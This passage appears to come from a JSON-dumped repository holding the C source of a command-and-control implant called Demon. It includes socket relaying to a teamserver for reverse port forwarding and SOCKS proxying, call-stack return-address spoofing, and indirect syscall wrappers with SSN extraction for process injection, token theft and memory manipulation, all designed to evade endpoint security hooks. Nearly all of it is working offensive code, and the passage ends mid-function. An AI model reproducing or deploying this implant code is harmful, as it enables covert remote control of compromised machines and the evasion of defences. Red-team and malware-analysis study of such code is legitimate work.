PackageAddInt32( Package, SOCKET_COMMAND_READ );\n                PackageAddInt32( Package, Socket->ID );\n                PackageAddInt32( Package, Socket->Type );\n                PackageAddInt32( Package, TRUE );\n\n                /* add the data we read from the client socket */\n                PackageAddBytes( Package, FullData.Buffer, FullData.Length );\n\n                /* now let's send it */\n                PackageTransmit( Package );\n            }\n\n            if ( Failed )\n            {\n                /* Create socket request package */\n                Package = PackageCreate( DEMON_COMMAND_SOCKET );\n\n                /* notify the teamserver of the error */\n                PackageAddInt32( Package, SOCKET_COMMAND_READ );\n                PackageAddInt32( Package, Socket->ID );\n                PackageAddInt32( Package, Socket->Type );\n                PackageAddInt32( Package, FALSE );\n                PackageAddInt32( Package, ErrorCode );\n\n                /* now let's send it */\n                PackageTransmit( Package );\n            }\n\n            if ( FullData.Buffer )\n            {\n                /* free and clear out our buffer */\n                MemSet( FullData.Buffer, 0, FullData.Length );\n                MmHeapFree( FullData.Buffer );\n                FullData.Length = 0;\n                FullData.Buffer = NULL;\n            }\n        }\n\n        Socket = Socket->Next;\n    }\n}\n\nVOID SocketFree( PSOCKET_DATA Socket )\n{\n    PPACKAGE Package = NULL;\n\n    PRINTF( \"Closing socket %x\\n\", Socket->ID )\n\n    /* do we want to remove a reverse port forward client ? */\n    if ( Socket->Type == SOCKET_TYPE_REVERSE_PORTFWD || Socket->Type == SOCKET_TYPE_CLIENT )\n    {\n        /* create socket response package */\n        Package = PackageCreate( DEMON_COMMAND_SOCKET );\n\n        /* socket package header */\n        PackageAddInt32( Package, SOCKET_COMMAND_RPORTFWD_REMOVE );\n        PackageAddInt32( Package, Socket->ID );\n        PackageAddInt32( Package, Socket->Type );\n\n        /* Local Host & Port data */\n        PackageAddInt32( Package, Socket->IPv4 );\n        PackageAddInt32( Package, Socket->LclPort );\n\n        /* Forward Host & Port data */\n        PackageAddInt32( Package, Socket->FwdAddr );\n        PackageAddInt32( Package, Socket->FwdPort );\n\n        /* Send the socket open request */\n        PackageTransmit( Package );\n        Package = NULL;\n    }\n\n    /* do we want to remove a socks proxy client ? */\n    else if ( Socket->Type == SOCKET_TYPE_REVERSE_PROXY )\n    {\n        /* create socket response package */\n        Package = PackageCreate( DEMON_COMMAND_SOCKET );\n\n        /* socket package header */\n        PackageAddInt32( Package, SOCKET_COMMAND_CLOSE );\n        PackageAddInt32( Package, Socket->ID );\n        PackageAddInt32( Package, SOCKET_TYPE_REVERSE_PROXY );\n\n        /* Send the socket open request */\n        PackageTransmit( Package );\n        Package = NULL;\n    }\n\n    if ( Socket->Socket )\n    {\n        Instance->Win32.closesocket( Socket->Socket );\n        Socket->Socket = 0;\n    }\n\n    MemSet( Socket, 0, sizeof( SOCKET_DATA ) );\n    MmHeapFree( Socket );\n    Socket = NULL;\n}\n\nVOID SocketCleanDead()\n{\n    PSOCKET_DATA Socket = NULL;\n    PSOCKET_DATA SkLast = NULL;\n\n    /*\n     * TODO: re-work on this.\n     *       make that after the socket got used close it.\n     *       maybe add a timeout ? after the socket didn't got used after a certain period of time.\n     */\n    Socket = Instance->Sockets;\n    for ( ;; )\n    {\n        if ( ! Socket )\n            break;\n\n        if ( Socket->ShouldRemove )\n        {\n            /* we are at the beginning. */\n            if ( ! SkLast )\n            {\n                Instance->Sockets = Socket->Next;\n                SocketFree( Socket );\n                Socket = Instance->Sockets;\n            }\n            else\n            {\n                SkLast->Next = Socket->Next;\n                SocketFree( Socket );\n                Socket = SkLast->Next;\n            }\n        }\n        else\n        {\n            SkLast = Socket;\n            Socket = Socket->Next;\n        }\n    }\n}\n\nVOID SocketPush()\n{\n    /* check for new clients */\n    SocketClients();\n\n    /* Read data from the clients and send it to our server/forwarded host */\n    SocketRead();\n\n    /* kill every dead/removed socket */\n    SocketCleanDead();\n}\n\n/*!\n * Query the IPv4 from the specified domain\n * @param Domain\n * @return IPv4 address\n */\nDWORD DnsQueryIPv4( LPSTR Domain )\n{\n    ADDRINFOA   hints     = { 0 };\n    PADDRINFOA  res       = NULL;\n    DWORD       IP        = 0;\n    INT         Ret       = 0;\n\n    if ( ! InitWSA() )\n        return 0;\n\n    hints.ai_family   = AF_INET;\n    hints.ai_socktype = SOCK_STREAM;\n    hints.ai_protocol = IPPROTO_TCP;\n\n    Ret = Instance->Win32.getaddrinfo( Domain, NULL, &hints, &res );\n    if ( Ret != 0 )\n    {\n        PRINTF( \"getaddrinfo failed with %d for %s\\n\", Ret, Domain );\n        return 0;\n    }\n\n    IP = ((struct sockaddr_in *)res->ai_addr)->sin_addr.S_un.S_addr;\n\n    Instance->Win32.freeaddrinfo( res );\n\n    PRINTF( \"Got IPv4 for %s: %d.%d.%d.%d\\n\",\n        Domain,\n        ( IP & 0x000000ff ) >> ( 0 * 8 ),\n        ( IP & 0x0000ff00 ) >> ( 1 * 8 ),\n        ( IP & 0x00ff0000 ) >> ( 2 * 8 ),\n        ( IP & 0xff000000 ) >> ( 3 * 8 )\n    )\n\n    return IP;\n}\n\n/*!\n * Query the IPv6 from the specified domain\n * @param Domain\n * @return IPv6 address\n */\nPBYTE DnsQueryIPv6( LPSTR Domain )\n{\n    ADDRINFOA   hints     = { 0 };\n    PADDRINFOA  res       = NULL;\n    INT         Ret       = 0;\n    PBYTE       IPv6      = NULL;\n\n    if ( ! InitWSA() )\n        return 0;\n\n    hints.ai_family   = AF_INET6;\n    hints.ai_socktype = SOCK_STREAM;\n    hints.ai_protocol = IPPROTO_TCP;\n\n    Ret = Instance->Win32.getaddrinfo( Domain, NULL, &hints, &res );\n    if ( Ret != 0 )\n    {\n        PRINTF( \"getaddrinfo failed with %d for %s\\n\", Ret, Domain );\n        return NULL;\n    }\n\n    // the caller is responsible for freeing this!\n    IPv6 = Instance->Win32.LocalAlloc( LPTR, 16 );\n\n    MemCopy( IPv6, ((struct sockaddr_in6 *)res->ai_addr)->sin6_addr.u.Byte, 16 );\n\n    Instance->Win32.freeaddrinfo( res );\n\n    PRINTF( \"Got IPv6 for %s: %02x%02x:%02x%02x:%02x%02x:%02x%02x:%02x%02x:%02x%02x:%02x%02x:%02x%02x\\n\",\n        Domain,\n        IPv6[0], IPv6[1],\n        IPv6[2], IPv6[3],\n        IPv6[4], IPv6[5],\n        IPv6[6], IPv6[7],\n        IPv6[8], IPv6[9],\n        IPv6[10], IPv6[11],\n        IPv6[12], IPv6[13],\n        IPv6[14], IPv6[15]\n    )\n\n    return IPv6;\n}\n"
  },
  {
    "path": "payloads/Demon/src/core/Spoof.c",
    "content": "#include <core/Spoof.h>\n#include <core/MiniStd.h>\n\n#if _WIN64\n\nPVOID SpoofRetAddr(\n    _In_    PVOID  Module,\n    _In_    ULONG  Size,\n    _In_    HANDLE Function,\n    _Inout_ PVOID  a,\n    _Inout_ PVOID  b,\n    _Inout_ PVOID  c,\n    _Inout_ PVOID  d,\n    _Inout_ PVOID  e,\n    _Inout_ PVOID  f,\n    _Inout_ PVOID  g,\n    _Inout_ PVOID  h\n) {\n    PVOID Trampoline = { 0 };\n    BYTE  Pattern[]  = { 0xFF, 0x23 };\n    PRM   Param      = { NULL, NULL, NULL };\n\n    if ( Function != NULL ) {\n        Trampoline = MmGadgetFind(\n            C_PTR( U_PTR( Module ) + LDR_GADGET_HEADER_SIZE ),\n            U_PTR( Size ),\n            Pattern,\n            sizeof( Pattern )\n        );\n\n        /* set params */\n        Param.Trampoline = Trampoline;\n        Param.Function   = Function;\n\n        if ( Trampoline != NULL ) {\n            return ( ( PVOID( * ) ( PVOID, PVOID, PVOID, PVOID, PPRM, PVOID, PVOID, PVOID, PVOID, PVOID ) ) ( ( PVOID ) Spoof ) ) ( a, b, c, d, &Param, NULL, e, f, g, h );\n        }\n    }\n\n    return NULL;\n}\n\n#endif\n"
  },
  {
    "path": "payloads/Demon/src/core/SysNative.c",
    "content": "#include <Demon.h>\n\n#include <core/Syscalls.h>\n#include <core/SysNative.h>\n\nNTSTATUS NTAPI SysNtOpenThread(\n    OUT    PHANDLE            ThreadHandle,\n    IN     ACCESS_MASK        DesiredAccess,\n    IN     POBJECT_ATTRIBUTES ObjectAttributes,\n    IN OPT PCLIENT_ID         ClientId\n) {\n    NTSTATUS   NtStatus  = STATUS_SUCCESS;\n    SYS_CONFIG SysConfig = { 0 };\n\n    SYSCALL_INVOKE( NtOpenThread, ThreadHandle, DesiredAccess, ObjectAttributes, ClientId )\n\n    return NtStatus;\n}\n\nNTSTATUS NTAPI SysNtOpenProcess(\n    OUT    PHANDLE             ProcessHandle,\n    IN     ACCESS_MASK         DesiredAccess,\n    IN     POBJECT_ATTRIBUTES  ObjectAttributes,\n    IN OPT PCLIENT_ID          ClientId\n) {\n    NTSTATUS   NtStatus  = STATUS_SUCCESS;\n    SYS_CONFIG SysConfig = { 0 };\n\n    SYSCALL_INVOKE( NtOpenProcess, ProcessHandle, DesiredAccess, ObjectAttributes, ClientId );\n\n    return NtStatus;\n}\n\nNTSTATUS NTAPI SysNtTerminateProcess(\n    IN OPTIONAL HANDLE   ProcessHandle,\n    IN          NTSTATUS ExitStatus\n) {\n    NTSTATUS   NtStatus  = STATUS_SUCCESS;\n    SYS_CONFIG SysConfig = { 0 };\n\n    SYSCALL_INVOKE( NtTerminateProcess, ProcessHandle, ExitStatus );\n\n    return NtStatus;\n}\n\nNTSTATUS NTAPI SysNtOpenThreadToken(\n    IN  HANDLE      ThreadHandle,\n    IN  ACCESS_MASK DesiredAccess,\n    IN  BOOLEAN     OpenAsSelf,\n    OUT PHANDLE     TokenHandle\n) {\n    NTSTATUS   NtStatus  = STATUS_SUCCESS;\n    SYS_CONFIG SysConfig = { 0 };\n\n    SYSCALL_INVOKE( NtOpenThreadToken, ThreadHandle, DesiredAccess, OpenAsSelf, TokenHandle );\n\n    return NtStatus;\n}\n\nNTSTATUS NTAPI SysNtOpenProcessToken(\n    IN  HANDLE      ProcessHandle,\n    IN  ACCESS_MASK DesiredAccess,\n    OUT PHANDLE     TokenHandle\n) {\n    NTSTATUS   NtStatus  = STATUS_SUCCESS;\n    SYS_CONFIG SysConfig = { 0 };\n\n    SYSCALL_INVOKE( NtOpenProcessToken, ProcessHandle, DesiredAccess, TokenHandle );\n\n    return NtStatus;\n}\n\nNTSTATUS NTAPI SysNtDuplicateToken(\n    IN  HANDLE             ExistingTokenHandle,\n    IN  ACCESS_MASK        DesiredAccess,\n    IN  POBJECT_ATTRIBUTES ObjectAttributes,\n    IN  BOOLEAN            EffectiveOnly,\n    IN  TOKEN_TYPE         TokenType,\n    OUT PHANDLE            NewTokenHandle\n) {\n    NTSTATUS   NtStatus  = STATUS_SUCCESS;\n    SYS_CONFIG SysConfig = { 0 };\n\n    SYSCALL_INVOKE( NtDuplicateToken, ExistingTokenHandle, DesiredAccess, ObjectAttributes, EffectiveOnly, TokenType, NewTokenHandle );\n\n    return NtStatus;\n}\n\nNTSTATUS NTAPI SysNtQueueApcThread(\n    IN     HANDLE          ThreadHandle,\n    IN     PPS_APC_ROUTINE ApcRoutine,\n    IN OPT PVOID           ApcArgument1,\n    IN OPT PVOID           ApcArgument2,\n    IN OPT PVOID           ApcArgument3\n) {\n    NTSTATUS   NtStatus  = STATUS_SUCCESS;\n    SYS_CONFIG SysConfig = { 0 };\n\n    SYSCALL_INVOKE( NtQueueApcThread, ThreadHandle, ApcRoutine, ApcArgument1, ApcArgument2, ApcArgument3 );\n\n    return NtStatus;\n}\n\nNTSTATUS NTAPI SysNtSuspendThread(\n    IN      HANDLE ThreadHandle,\n    OUT OPT PULONG PreviousSuspendCount\n) {\n    NTSTATUS   NtStatus  = STATUS_SUCCESS;\n    SYS_CONFIG SysConfig = { 0 };\n\n    SYSCALL_INVOKE( NtSuspendThread, ThreadHandle, PreviousSuspendCount );\n\n    return NtStatus;\n}\n\nNTSTATUS NTAPI SysNtResumeThread(\n    IN      HANDLE ThreadHandle,\n    OUT OPT PULONG PreviousSuspendCount\n) {\n    NTSTATUS   NtStatus  = STATUS_SUCCESS;\n    SYS_CONFIG SysConfig = { 0 };\n\n    SYSCALL_INVOKE( NtResumeThread, ThreadHandle, PreviousSuspendCount );\n\n    return NtStatus;\n}\n\nNTSTATUS NTAPI SysNtCreateEvent (\n    OUT    PHANDLE            EventHandle,\n    IN     ACCESS_MASK        DesiredAccess,\n    IN OPT POBJECT_ATTRIBUTES ObjectAttributes,\n    IN     EVENT_TYPE         EventType,\n    IN     BOOLEAN            InitialState\n) {\n    NTSTATUS   NtStatus  = STATUS_SUCCESS;\n    SYS_CONFIG SysConfig = { 0 };\n\n    SYSCALL_INVOKE( NtCreateEvent, EventHandle, DesiredAccess, ObjectAttributes, EventType, InitialState );\n\n    return NtStatus;\n}\n\nNTSTATUS NTAPI SysNtCreateThreadEx(\n    OUT PHANDLE     hThread,\n    IN  ACCESS_MASK DesiredAccess,\n    IN  PVOID       ObjectAttributes,\n    IN  HANDLE      ProcessHandle,\n    IN  PVOID       lpStartAddress,\n    IN  PVOID       lpParameter,\n    IN  ULONG       Flags,\n    IN  SIZE_T      StackZeroBits,\n    IN  SIZE_T      SizeOfStackCommit,\n    IN  SIZE_T      SizeOfStackReserve,\n    IN  PVOID       lpBytesBuffer\n) {\n    NTSTATUS   NtStatus  = STATUS_SUCCESS;\n    SYS_CONFIG SysConfig = { 0 };\n\n    SYSCALL_INVOKE( NtCreateThreadEx,\n        hThread,\n        DesiredAccess,\n        ObjectAttributes,\n        ProcessHandle,\n        lpStartAddress,\n        lpParameter,\n        Flags,\n        StackZeroBits,\n        SizeOfStackCommit,\n        SizeOfStackReserve,\n        lpBytesBuffer\n    );\n\n    return NtStatus;\n}\n\nNTSTATUS NTAPI SysNtDuplicateObject(\n    IN     HANDLE      SourceProcessHandle,\n    IN     HANDLE      SourceHandle,\n    IN OPT HANDLE      TargetProcessHandle,\n    OUT    PHANDLE     TargetHandle,\n    IN     ACCESS_MASK DesiredAccess,\n    IN     ULONG       HandleAttributes,\n    IN     ULONG       Options\n) {\n    NTSTATUS   NtStatus  = STATUS_SUCCESS;\n    SYS_CONFIG SysConfig = { 0 };\n\n    SYSCALL_INVOKE( NtDuplicateObject, SourceProcessHandle, SourceHandle, TargetProcessHandle, TargetHandle, DesiredAccess, HandleAttributes, Options );\n\n    return NtStatus;\n}\n\nNTSTATUS NTAPI SysNtGetContextThread (\n    IN     HANDLE   ThreadHandle,\n    _Inout_ PCONTEXT ThreadContext\n) {\n    NTSTATUS   NtStatus  = STATUS_SUCCESS;\n    SYS_CONFIG SysConfig = { 0 };\n\n    SYSCALL_INVOKE( NtGetContextThread, ThreadHandle, ThreadContext );\n\n    return NtStatus;\n}\n\nNTSTATUS NTAPI SysNtSetContextThread(\n    IN HANDLE   ThreadHandle,\n    IN PCONTEXT ThreadContext\n) {\n    NTSTATUS   NtStatus  = STATUS_SUCCESS;\n    SYS_CONFIG SysConfig = { 0 };\n\n    SYSCALL_INVOKE( NtSetContextThread, ThreadHandle, ThreadContext );\n\n    return NtStatus;\n}\n\nNTSTATUS NTAPI SysNtQueryInformationProcess(\n    IN      HANDLE           ProcessHandle,\n    IN      PROCESSINFOCLASS ProcessInformationClass,\n    OUT     PVOID            ProcessInformation,\n    IN      ULONG            ProcessInformationLength,\n    OUT OPT PULONG           ReturnLength\n) {\n    NTSTATUS   NtStatus  = STATUS_SUCCESS;\n    SYS_CONFIG SysConfig = { 0 };\n\n    SYSCALL_INVOKE( NtQueryInformationProcess, ProcessHandle, ProcessInformationClass, ProcessInformation, ProcessInformationLength, ReturnLength );\n\n    return NtStatus;\n}\n\nNTSTATUS NTAPI SysNtQuerySystemInformation (\n    IN      SYSTEM_INFORMATION_CLASS SystemInformationClass,\n    OUT OPT PVOID                    SystemInformation,\n    IN      ULONG                    SystemInformationLength,\n    OUT OPT PULONG                   ReturnLength\n) {\n    NTSTATUS   NtStatus  = STATUS_SUCCESS;\n    SYS_CONFIG SysConfig = { 0 };\n\n    SYSCALL_INVOKE( NtQuerySystemInformation, SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength );\n\n    return NtStatus;\n}\n\nNTSTATUS NTAPI SysNtWaitForSingleObject(\n    IN     HANDLE         Handle,\n    IN     BOOLEAN        Alertable,\n    IN OPT PLARGE_INTEGER Timeout\n) {\n    NTSTATUS   NtStatus  = STATUS_SUCCESS;\n    SYS_CONFIG SysConfig = { 0 };\n\n    SYSCALL_INVOKE( NtWaitForSingleObject, Handle, Alertable, Timeout );\n\n    return NtStatus;\n}\n\nNTSTATUS NTAPI SysNtAllocateVirtualMemory(\n    IN     HANDLE    ProcessHandle,\n    _Inout_ PVOID*    BaseAddress,\n    IN     ULONG_PTR ZeroBits,\n    _Inout_ PSIZE_T   RegionSize,\n    IN     ULONG     AllocationType,\n    IN     ULONG     Protect\n) {\n    NTSTATUS   NtStatus  = STATUS_SUCCESS;\n    SYS_CONFIG SysConfig = { 0 };\n\n    SYSCALL_INVOKE( NtAllocateVirtualMemory, ProcessHandle, BaseAddress, ZeroBits, RegionSize, AllocationType, Protect );\n\n    return NtStatus;\n}\n\nNTSTATUS NTAPI SysNtWriteVirtualMemory(\n    IN       HANDLE  ProcessHandle,\n    IN OPT   PVOID   BaseAddress,\n    IN CONST VOID*   Buffer,\n    IN       SIZE_T  BufferSize,\n    OUT OPT  PSIZE_T NumberOfBytesWritten\n) {\n    NTSTATUS   NtStatus  = STATUS_SUCCESS;\n    SYS_CONFIG SysConfig = { 0 };\n\n    SYSCALL_INVOKE( NtWriteVirtualMemory, ProcessHandle, BaseAddress, Buffer, BufferSize, NumberOfBytesWritten );\n\n    return NtStatus;\n}\n\nNTSTATUS NTAPI SysNtFreeVirtualMemory(\n    IN     HANDLE  ProcessHandle,\n    _Inout_ PVOID*  BaseAddress,\n    _Inout_ PSIZE_T RegionSize,\n    IN     ULONG   FreeType\n) {\n    NTSTATUS   NtStatus  = STATUS_SUCCESS;\n    SYS_CONFIG SysConfig = { 0 };\n\n    SYSCALL_INVOKE( NtFreeVirtualMemory, ProcessHandle, BaseAddress, RegionSize, FreeType );\n\n    return NtStatus;\n}\n\nNTSTATUS NTAPI SysNtUnmapViewOfSection(\n    IN HANDLE ProcessHandle,\n    IN PVOID  BaseAddress\n) {\n    NTSTATUS   NtStatus  = STATUS_SUCCESS;\n    SYS_CONFIG SysConfig = { 0 };\n\n    SYSCALL_INVOKE( NtUnmapViewOfSection, ProcessHandle, BaseAddress );\n\n    return NtStatus;\n}\n\nNTSTATUS NTAPI SysNtProtectVirtualMemory(\n    IN     HANDLE  ProcessHandle,\n    _Inout_ PVOID*  BaseAddress,\n    _Inout_ PSIZE_T RegionSize,\n    IN     ULONG   NewProtect,\n    OUT    PULONG  OldProtect\n) {\n    NTSTATUS   NtStatus  = STATUS_SUCCESS;\n    SYS_CONFIG SysConfig = { 0 };\n\n    SYSCALL_INVOKE( NtProtectVirtualMemory, ProcessHandle, BaseAddress, RegionSize, NewProtect, OldProtect );\n\n    return NtStatus;\n}\n\nNTSTATUS NTAPI SysNtReadVirtualMemory (\n    IN      HANDLE  ProcessHandle,\n    IN OPT  PVOID   BaseAddress,\n    OUT     PVOID   Buffer,\n    IN      SIZE_T  BufferSize,\n    OUT OPT PSIZE_T NumberOfBytesRead\n) {\n    NTSTATUS   NtStatus  = STATUS_SUCCESS;\n    SYS_CONFIG SysConfig = { 0 };\n\n    SYSCALL_INVOKE( NtReadVirtualMemory, ProcessHandle, BaseAddress, Buffer, BufferSize, NumberOfBytesRead );\n\n    return NtStatus;\n}\n\nNTSTATUS NTAPI SysNtTerminateThread (\n    IN OPT HANDLE   ThreadHandle,\n    IN     NTSTATUS ExitStatus\n) {\n    NTSTATUS   NtStatus  = STATUS_SUCCESS;\n    SYS_CONFIG SysConfig = { 0 };\n\n    SYSCALL_INVOKE( NtTerminateThread, ThreadHandle, ExitStatus );\n\n    return NtStatus;\n}\n\nNTSTATUS NTAPI SysNtAlertResumeThread(\n    IN      HANDLE ThreadHandle,\n    OUT OPT PULONG PreviousSuspendCount\n) {\n    NTSTATUS   NtStatus  = STATUS_SUCCESS;\n    SYS_CONFIG SysConfig = { 0 };\n\n    SYSCALL_INVOKE( NtAlertResumeThread, ThreadHandle, PreviousSuspendCount );\n\n    return NtStatus;\n}\n\nNTSTATUS NTAPI SysNtSignalAndWaitForSingleObject(\n    IN     HANDLE         SignalHandle,\n    IN     HANDLE         WaitHandle,\n    IN     BOOLEAN        Alertable,\n    IN OPT PLARGE_INTEGER Timeout\n) {\n    NTSTATUS   NtStatus  = STATUS_SUCCESS;\n    SYS_CONFIG SysConfig = { 0 };\n\n    SYSCALL_INVOKE( NtSignalAndWaitForSingleObject, SignalHandle, WaitHandle, Alertable, Timeout );\n\n    return NtStatus;\n}\n\nNTSTATUS NTAPI SysNtQueryVirtualMemory(\n    IN      HANDLE                   ProcessHandle,\n    IN      PVOID                    BaseAddress,\n    IN      MEMORY_INFORMATION_CLASS MemoryInformationClass,\n    OUT     PVOID                    MemoryInformation,\n    IN      SIZE_T                   MemoryInformationLength,\n    OUT OPT PSIZE_T                  ReturnLength\n) {\n    NTSTATUS   NtStatus  = STATUS_SUCCESS;\n    SYS_CONFIG SysConfig = { 0 };\n\n    SYSCALL_INVOKE( NtQueryVirtualMemory, ProcessHandle, BaseAddress, MemoryInformationClass, MemoryInformation, MemoryInformationLength, ReturnLength );\n\n    return NtStatus;\n}\n\nNTSTATUS NTAPI SysNtQueryInformationToken (\n    IN  HANDLE                  TokenHandle,\n    IN  TOKEN_INFORMATION_CLASS TokenInformationClass,\n    OUT PVOID                   TokenInformation,\n    IN  ULONG                   TokenInformationLength,\n    OUT PULONG                  ReturnLength\n) {\n    NTSTATUS   NtStatus  = STATUS_SUCCESS;\n    SYS_CONFIG SysConfig = { 0 };\n\n    SYSCALL_INVOKE( NtQueryInformationToken, TokenHandle, TokenInformationClass, TokenInformation, TokenInformationLength, ReturnLength );\n\n    return NtStatus;\n}\n\nNTSTATUS NTAPI SysNtQueryInformationThread(\n    IN      HANDLE          ThreadHandle,\n    IN      THREADINFOCLASS ThreadInformationClass,\n    OUT     PVOID           ThreadInformation,\n    IN      ULONG           ThreadInformationLength,\n    OUT OPT PULONG          ReturnLength\n) {\n    NTSTATUS   NtStatus  = STATUS_SUCCESS;\n    SYS_CONFIG SysConfig = { 0 };\n\n    SYSCALL_INVOKE( NtQueryInformationThread, ThreadHandle, ThreadInformationClass, ThreadInformation, ThreadInformationLength, ReturnLength );\n\n    return NtStatus;\n}\n\nNTSTATUS NTAPI SysNtQueryObject(\n    IN  HANDLE                   Handle,\n    IN  OBJECT_INFORMATION_CLASS ObjectInformationClass,\n    OUT PVOID                    ObjectInformation,\n    IN  ULONG                    ObjectInformationLength,\n    OUT PULONG                   ReturnLength\n) {\n    NTSTATUS   NtStatus  = STATUS_SUCCESS;\n    SYS_CONFIG SysConfig = { 0 };\n\n    SYSCALL_INVOKE( NtQueryObject, Handle, ObjectInformationClass, ObjectInformation, ObjectInformationLength, ReturnLength );\n\n    return NtStatus;\n}\n\nNTSTATUS NTAPI SysNtClose (\n    IN HANDLE Handle\n) {\n    NTSTATUS   NtStatus  = STATUS_SUCCESS;\n    SYS_CONFIG SysConfig = { 0 };\n\n    SYSCALL_INVOKE( NtClose, Handle );\n\n    return NtStatus;\n}\n\nNTSTATUS NTAPI SysNtSetInformationThread (\n    IN HANDLE          ThreadHandle,\n    IN THREADINFOCLASS ThreadInformationClass,\n    IN PVOID           ThreadInformation,\n    IN ULONG           ThreadInformationLength\n) {\n    NTSTATUS   NtStatus  = STATUS_SUCCESS;\n    SYS_CONFIG SysConfig = { 0 };\n\n    SYSCALL_INVOKE( NtSetInformationThread, ThreadHandle, ThreadInformationClass, ThreadInformation, ThreadInformationLength );\n\n    return NtStatus;\n}\n\nNTSTATUS NTAPI SysNtSetInformationVirtualMemory(\n    IN HANDLE                           ProcessHandle,\n    IN VIRTUAL_MEMORY_INFORMATION_CLASS VmInformationClass,\n    IN ULONG_PTR                        NumberOfEntries,\n    IN PMEMORY_RANGE_ENTRY              VirtualAddresses,\n    IN PVOID                            VmInformation,\n    IN ULONG                            VmInformationLength\n) {\n    NTSTATUS   NtStatus  = STATUS_SUCCESS;\n    SYS_CONFIG SysConfig = { 0 };\n\n    SYSCALL_INVOKE( NtSetInformationVirtualMemory, ProcessHandle, VmInformationClass, NumberOfEntries, VirtualAddresses, VmInformation, VmInformationLength );\n\n    return NtStatus;\n}\n\nNTSTATUS NTAPI SysNtGetNextThread(\n    IN  HANDLE      ProcessHandle,\n    IN  HANDLE      ThreadHandle,\n    IN  ACCESS_MASK DesiredAccess,\n    IN  ULONG       HandleAttributes,\n    IN  ULONG       Flags,\n    OUT PHANDLE     NewThreadHandle\n) {\n    NTSTATUS   NtStatus  = STATUS_SUCCESS;\n    SYS_CONFIG SysConfig = { 0 };\n\n    SYSCALL_INVOKE( NtGetNextThread, ProcessHandle, ThreadHandle, DesiredAccess, HandleAttributes, Flags, NewThreadHandle );\n\n    return NtStatus;\n}"
  },
  {
    "path": "payloads/Demon/src/core/Syscalls.c",
    "content": "#include <Demon.h>\n\n#include <common/Defines.h>\n#include <core/Syscalls.h>\n#include <core/Win32.h>\n\n/*!\n * Initialize syscall addr + ssn\n * @param Ntdll\n * @return\n */\nBOOL SysInitialize(\n    IN PVOID Ntdll\n) {\n    PVOID SysNativeFunc   = NULL;\n    PVOID SysIndirectAddr = NULL;\n\n    if ( ! Ntdll ) {\n        return FALSE;\n    }\n\n    /* Resolve Syscall instruction from dummy nt function */\n    if ( ( SysNativeFunc = LdrFunctionAddr( Ntdll, H_FUNC_NTADDBOOTENTRY ) ) )\n    {\n        /* resolve address */\n        SysExtract( SysNativeFunc, TRUE, NULL, &SysIndirectAddr );\n\n        /* check if we managed to resolve it  */\n        if ( SysIndirectAddr ) {\n            Instance->Syscall.SysAddress = SysIndirectAddr;\n        } else {\n            PUTS_DONT_SEND( \"Failed to resolve SysIndirectAddr\" );\n        }\n    }\n\n#if _M_IX86\n    if ( IsWoW64() )\n    {\n        Instance->Syscall.SysAddress = __readfsdword(0xC0);\n    }\n#endif\n\n    /* Resolve Ssn */\n    SYS_EXTRACT( NtOpenThread )\n    SYS_EXTRACT( NtOpenThreadToken )\n    SYS_EXTRACT( NtOpenProcess )\n    SYS_EXTRACT( NtTerminateProcess )\n    SYS_EXTRACT( NtOpenProcessToken )\n    SYS_EXTRACT( NtDuplicateToken )\n    SYS_EXTRACT( NtQueueApcThread )\n    SYS_EXTRACT( NtSuspendThread )\n    SYS_EXTRACT( NtResumeThread )\n    SYS_EXTRACT( NtCreateEvent )\n    SYS_EXTRACT( NtCreateThreadEx )\n    SYS_EXTRACT( NtDuplicateObject )\n    SYS_EXTRACT( NtGetContextThread )\n    SYS_EXTRACT( NtSetContextThread )\n    SYS_EXTRACT( NtQueryInformationProcess )\n    SYS_EXTRACT( NtQuerySystemInformation )\n    SYS_EXTRACT( NtWaitForSingleObject )\n    SYS_EXTRACT( NtAllocateVirtualMemory )\n    SYS_EXTRACT( NtWriteVirtualMemory )\n    SYS_EXTRACT( NtReadVirtualMemory )\n    SYS_EXTRACT( NtFreeVirtualMemory )\n    SYS_EXTRACT( NtUnmapViewOfSection )\n    SYS_EXTRACT( NtProtectVirtualMemory )\n    SYS_EXTRACT( NtTerminateThread )\n    SYS_EXTRACT( NtAlertResumeThread )\n    SYS_EXTRACT( NtSignalAndWaitForSingleObject )\n    SYS_EXTRACT( NtQueryVirtualMemory )\n    SYS_EXTRACT( NtQueryInformationToken )\n    SYS_EXTRACT( NtQueryInformationThread )\n    SYS_EXTRACT( NtQueryObject )\n    SYS_EXTRACT( NtClose )\n    SYS_EXTRACT( NtSetEvent )\n    SYS_EXTRACT( NtSetInformationThread )\n    SYS_EXTRACT( NtSetInformationVirtualMemory )\n    SYS_EXTRACT( NtGetNextThread )\n}\n\n/*!\n * extract syscall service number (SSN) and or\n * syscall instruction address\n * @param Function       Native function address to extract Ssn/SysAddr from\n * @param ResolveHooked  if the function should call FindSsnOfHookedSyscall upon failure\n * @param Ssn            extracted ssn\n * @param Addr           extracted sys addr\n * @return               if extracting the syscall was successful\n */\nBOOL SysExtract(\n    IN  PVOID  Function,\n    IN  BOOL   ResolveHooked,\n    OUT PWORD  Ssn,\n    OUT PVOID* SysAddr\n) {\n    ULONG Offset      = 0;\n    BYTE  SsnLow      = 0;\n    BYTE  SsnHigh     = 0;\n    BOOL  Success     = FALSE;\n\n    /* check args */\n    if ( ! Function )\n    {\n        PUTS( \"Function address is not defined\" )\n        return FALSE;\n    }\n\n    if ( ! Ssn && ! SysAddr )\n    {\n        PRINTF( \"No Ssn and SysAddr pointers set for function at 0x%p\\n\", Function )\n        return FALSE;\n    }\n\n    do {\n        /* check if current instruction is a 'ret' (end of function) */\n        if ( DREF_U8( Function + Offset ) == SYS_ASM_RET ) {\n            break;\n        }\n\n#if _WIN64\n        /* check current instructions for:\n         *   mov r10, rcx\n         *   mov rcx, [ssn]\n         */\n        if ( DREF_U8( Function + Offset + 0x0 ) == 0x4C &&\n             DREF_U8( Function + Offset + 0x1 ) == 0x8B &&\n             DREF_U8( Function + Offset + 0x2 ) == 0xD1 &&\n             DREF_U8( Function + Offset + 0x3 ) == 0xB8 )\n#else\n        /* check current instructions for:\n         *   mov eax, [ssn]\n         */\n        if ( DREF_U8( Function + Offset + 0x0 ) == 0xB8 )\n#endif\n        {\n            /* if the Ssn param has been specified try to get the Ssn of the function */\n            if ( Ssn )\n            {\n                SsnLow  = DREF_U8( Function + Offset + SSN_OFFSET_1 );\n                SsnHigh = DREF_U8( Function + Offset + SSN_OFFSET_2 );\n                *Ssn    = ( SsnHigh << 0x08 ) | SsnLow;\n                Success = TRUE;\n            }\n\n            /* if SysAddr has been specified then try to get the native function syscall instruction */\n            if 